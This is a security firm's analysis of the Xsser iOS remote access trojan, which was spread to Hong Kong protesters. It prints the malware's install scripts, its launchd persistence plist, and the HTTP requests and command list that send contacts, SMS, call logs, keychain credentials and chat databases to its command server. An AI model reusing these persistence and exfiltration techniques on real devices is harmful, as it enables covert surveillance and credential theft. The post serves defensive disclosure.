Lacoon Discovers Xsser mRAT, the First Advanced Chinese iOS Trojan

Hong Kong Activists May be Part of a Larger Cross-Platform Attack

Shalom Bublil, Daniel Brodie, and Avi Bashan contributed to the post, and are credited with Lacoon‘s discovery of the Xsser mRAT. 

The Lacoon Mobile Security research team has discovered a new mRAT it calls “Xsser mRAT.” The Xsser mRAT specifically targets iOS devices, and is related to Android spyware already distributed broadly in Hong Kong.

A link to the Android spyware, disguised as an app to help coordinate Occupy Central protests in Hong Kong, was sent as an anonymous message to Whatsapp users there on Thursday. In its investigation of that spyware, Lacoon uncovered the Xsser mRAT hosted on the same Command and Control (CnC) domain with the project being named Xsser. Though called Xsser, this is not related to an XSS attack.

Cross-Platform attacks that target both iOS and Android devices are rare, and indicate that this may be conducted by a very large organization or nation state. The fact that this attack is being used against protesters and is being executed by Chinese-speaking attackers suggests it’s first iOS trojan linked to Chinese government cyber activity.

The Xsser mRAT is itself significant because while there have been other iOS trojans found previously, this is the first and most advanced, fully operational Chinese iOS trojan found to date. Although it shows initial signs of being a targeted attack on Chinese protesters, the full extent of how Xsser mRAT is being used is anyone’s guess. It can cross borders easily, and is possibly being operated by a Chinese-speaking entity to spy on individuals, foreign companies, or even entire governments.

Shifting Cybercriminal Strategy Puts Individuals, Organizations At Risk

The Xsser mRAT represents a fundamental shift by nation-state cybercriminals from compromising traditional PC systems to targeting mobile devices. The risks extend well beyond the personal user to any enterprise with employees using mobile devices — company-provided or employee-liable — for business purposes. When infected, Xsser mRAT exposes virtually any information on iOS devices including SMS, email, and instant messages, and can also reveal location data, usernames and passwords, call logs and contact information.

The Xsser mRAT illustrates how easily social engineering can be used to steal valuable information from iOS users. Attackers successfully use relevant events (in this case political protests, but it could be something as innocent as a sporting event or a trade show) to gain a victim’s trust. Targets then unknowingly install malicious apps, unaware that they’re also unlocking the door to all kinds of sensitive information.

It’s also a perfect example of why it’s important to protect mobile devices against not just known threats, but also emerging and evolving threats you may not have known existed.

About Lacoon’s Investigation Into the Xsser mRAT

The investigation began late last week with a malicious, fake Android app claiming to coordinate the Occupy Central pro-democracy movement. Activists have been receiving a link to the application via Whatsapp phishing messages from an unknown phone number saying, “Check out this Android app designed by Code4HK, group of activist coders,  for the coordination of Occupy Central!” Once victims click the link, their devices are infected an advanced mRAT, or mobile Remote Access Trojan.

Read more about the Android trojan at our blog post here.

The unique aspect of this attack was discovered after inspecting a domain extracted by Lacoon’s dynamic analysis engines. The domain acts as a CnC server for the mRAT and, in its investigation, Lacoon found that this server contained a Cydia repository for an iOS mRAT.

The cydia repository page while trying to access it from a browser. 

Method of Infection on iOS Devices

Lacoon hasn’t uncovered information regarding the method or vector of attack. The iOS device needs to be jailbroken in order to be infected. Then with Cydia installed, the repository would be need to be added and then the package could be installed. All that’s known is that both the iOS and Android attacks share a CnC server.

The package itself is a debian .deb package. The package installs an iOS ‘launchd’ service to make sure the app starts after booting and in addition starts it up immediately.

Information At Risk After Xsser mRAT Infection

Similar to the Android spyware, Xsser can extract a vast range of information:

• Address book
• SMS messages
• Call logs
• Location Data (based on cell id)
• Pictures
• OS data
• Tencent Archive (a popular Chinese messaging app)
• Also passwords and other authentication info in the iOS keychains used by device accounts (AppleID, mail accounts and more) as well as the Phones GSM identities

It’s also worth mentioning that Xsser mRAT has a number of other characteristics:

• It runs immediately after boot.
• it is updated dynamically.

The Command and Control Servers

All of the servers Lacoon detected are connected to a VPS service used by the attackers, and can be accessed by an RDP connections. This is probably to avoid a direct link from attackers machines to CnC servers. Upon trying to investigate the identities of the connected domains further, its appears the attackers have made quite an effort to maintain their anonymity by using a Whois protection service. This is essentially a Chinese company that provides customers with a registration service for domain to avoid a connection to the real domain owners.

The Xsser iOS mRat Technical Teardown

Installation process

1. Install Cydia repository: a debian file.

The debian file contains a number of files that are installed:
/bin/*****.0day_t
/bin/*****.0day_t.sh
/bin/com.*****.0day.iphone.plist

2. The .deb file runs a script that runs post install that “finishes” the install:

#!/bin/bash
chmod –R 0755 /bin/xsser.0day_t
chmod –R 0755 /bin/com.xsser.0day.iphone.plist
chmod –R 0755 /bin/xsser.0day_t.sh
/bin/xsser.0day_t.ti

3. After the script has finished another shell script runs:

The script *****.0day_t.sh does the following:

#!/bin/sh
cp /bin/xsser.0day_t /bin/xsser.0day
cp /bin/com.xsser.0day.iphone.plist /Library/LaunchDaemons/com.xsser.0day.iphone.plist
chmod –R 0755 /bin/xsser.0day
chmod –R 0755 /Library/LaunchDaemons/com.xsser.0day.iphone.plist
chown root /Library/LaunchDaemons/com.xsser.0day.iphone.plist
launchctl load /Library/LaunchDaemons/com.xsser.0day.iphone.plaits 

Which installs a native service and loads it. The info for the service in the plist is:

<?xml version=“1.0” encoding=“UTF-8”?>

<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<plist version=“1.0”>
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.xsser.0day.iphone</string>
<key>Program</key>
<string>/bin/xsser.0day</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

4. When the app runs at boot, the binary checks the version of the lib and saves it to a file named /bin/iVersion. If the version doesn’t match then it downloads and updates the iLib version. The main binary also has some minimal logging to /bin/debuglogFile.log

Here is the HTTP request that gets the library version:

GET /CheckLibrary.aspx HTTP/1.1
Host: www.xsser.com:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: xsser.0day (unknown version) CFNetwork/672.1.15 Darwin/14.0.0
Accept-Language: en-us
Accept: */*
HTTP/1.1 200 OK
Date: Mon, 29 Sep 2014 09:27:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 79
http://www.xsser.com/upload/Lib/iLib.4.0.0.dylib|iLib.4.0.0.dylib|4.0.0|1033720

5. The MRaT installation is completed, from this moment on it will collect and send data after reboot. except from the data sent, the shared library has some minimal logging written to /bin/recvDate.

more info

The initial info that is sent to the server includes:

• OS Version
• Mac Address
• Device Version
• Device IMSI
• Device IMEI
• Phone Number

And is delivered in a GET request as can be seen here:

mRAT Commands and Behaviors

In the response to the initial info sent to the server as HTTP GET, the response is a list of commands that the tool needs to run on the device.

===>GetGps:Now
===>GetKeyChain:Now
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb–shm
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb–wal
===>UploadFile:/var/mobile/Library/SMS/sms.db
===>UploadFile:/var/mobile/Library/SMS/sms.db–shm
===>UploadFile:/var/mobile/Library/SMS/sms.db–wal
===>UploadFile:/var/wireless/Library/CallHistory/call_history.db
===>GetWeiXin:Now
===>UploadFile:/private/var/mobile/Media/DCIM/100APPLE/IMG_[…].JPG 

The RaT then parses each command and does the following:

• UploadFile – Uploads a file with an HTTP POST request with a custom header. On the network it looks like:

POST /TargetUploadFile.aspx?tmac=189*****C950 HTTP/1.1

Host: www.*****.com:80
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 266573
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: *****.0day (unknown version) CFNetwork/672.1.15 Darwin/14.0.0
–AaB03x
Content-Disposition: form-data; name=”desc”
119
–AaB03x
Content-Disposition: form-data; name=”albumId”
119
–AaB03x
Content-Disposition: form-data; name=”sid”
119
–AaB03x
Content-Disposition: form-data; name=”picFile”; filename=”AddressBook.sqlitedb”
Content-Type: application/octet-stream 

We can see the code that sends this request:

• GetGps – Returns info regarding the current cell the phone is connected to. It uses CoreTelephony’s getCellInfo method to get this info and upload it like this:
  GET /TargetUploadGps.aspx?&tmac=189EFC9DC950&JZ=0,0 HTTP/1.1

We can see what the upload code looks like:

• GetWeiXin – Uploads the messages from Tencent’s QQ messenger. It does this by looking for the com.tencent.xin app in the /var/mobile/Library/Caches/com.apple.mobile.installation.plist file and looks for the container identifier. Then it tries to upload the file DB/MM.sqlite from QQ’s container using it’s TargetUploadFile command.

• GetKeyChain – Access the following keychain SecTypes:
  • SecClassGenericPassword
  • SecClassInternetPassword
  • SecClassIdentity
  • SecClassCertificate
  • SecClassKey

And builds an XML with their data (passwords, credentials, etc…) and uploads the file using the TargetUploadFile command with the filename KeyChainFile.xml.

An example of how the XML file looks:

• Unimplemented commands – We do not know why they aren’t implemented, but we did see references to them in the code. We assume the version we managed to retrieve is under development and maybe will be used in future samples.
  • SendSMS
  • CallTel
  • RunCommand
  • UploadAllFileTypes

Updated Date: 2013-5-27 10:08:00
Creation Date: 2008-5-20 0:00:00

Registrar Registration Expiration Date: 2023-5-20 0:00:00
Registrar: JIANGSU BANGNING SCIENCE & TECHNOLOGY CO. LTD
Registrar IANA ID: 1469
Registrar Abuse Contact Email: 1009@zgsj.com
Registrar Abuse Contact Phone: +86.025-86883426-1009
Registrant Organization: DOMAIN WHOIS PROTECTION SERVICE
Registrant Street: 1-3th Floor, BangNing Technology Park, 2 YuHua Avenue, Yuhuatai District
Registrant City: Nanjing
Registrant State/Province: Jiangsu
Registrant Postal Code: 210012
Registrant Country: CN
Registrant Phone: +86.02586805172
Registrant Phone Ext:
Registrant Fax: +86.02586883476
Registrant Fax Ext:
Registrant Email: domain@whoisprotectionservice.org

Install Method 

Architecture: iphoneos-arm
Maintainer: Lili (Aurora) <tibet.lili@gmail.com>
Installed-Size: 67216
Filename: debs/****.0day.deb
(we replaced part of the file name with *)
MD5sum: 2ee65c7faeba0899d397f6e105cc53c3
SHA1: 49639c36f59e45f0d95005d3aff1d2ed4db5020d
SHA256: d79b8552213bc21512fb557853ea0dee3c8e63a5108b8c294ad9c3307030ea49 

Installation

The .deb file contains a number of files that are installed:

/bin/*****.0day_t
/bin/*****.0day_t.sh
/bin/com.*****.0day.iphone.plist 

In addition, the .deb file runs a script that runs post install that “finishes” the install:

#!/bin/bash
chmod -R 0755 /bin/xsser.0day_t
chmod -R 0755 /bin/com.xsser.0day.iphone.plist
chmod -R 0755 /bin/xsser.0day_t.sh
/bin/xsser.0day_t.sh 

After installing the debian file the following shell it:

The script *****.0day_t.sh does the following:

#!/bin/sh
cp /bin/xsser.0day_t /bin/xsser.0day
cp /bin/com.xsser.0day.iphone.plist /Library/LaunchDaemons/com.xsser.0day.iphone.plist
chmod -R 0755 /bin/xsser.0day
chmod -R 0755 /Library/LaunchDaemons/com.xsser.0day.iphone.plist
chown root /Library/LaunchDaemons/com.xsser.0day.iphone.plist
launchctl load /Library/LaunchDaemons/com.xsser.0day.iphone.plist 

Which installs a native service and loads it. The info for the service in the plist is:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<plist version=”1.0″>
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.xsser.0day.iphone</string>
<key>Program</key>
<string>/bin/xsser.0day</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist> 

Other files installed at the device

/bin/debuglogFile.log

The binary checks the version of the lib and saves it to a file named /bin/iVersion. If the version doesn’t match then it downloads and updates the iLib version.

The shared library has some minimal logging written to /bin/recvDate.

Featured image source: makeuseof.com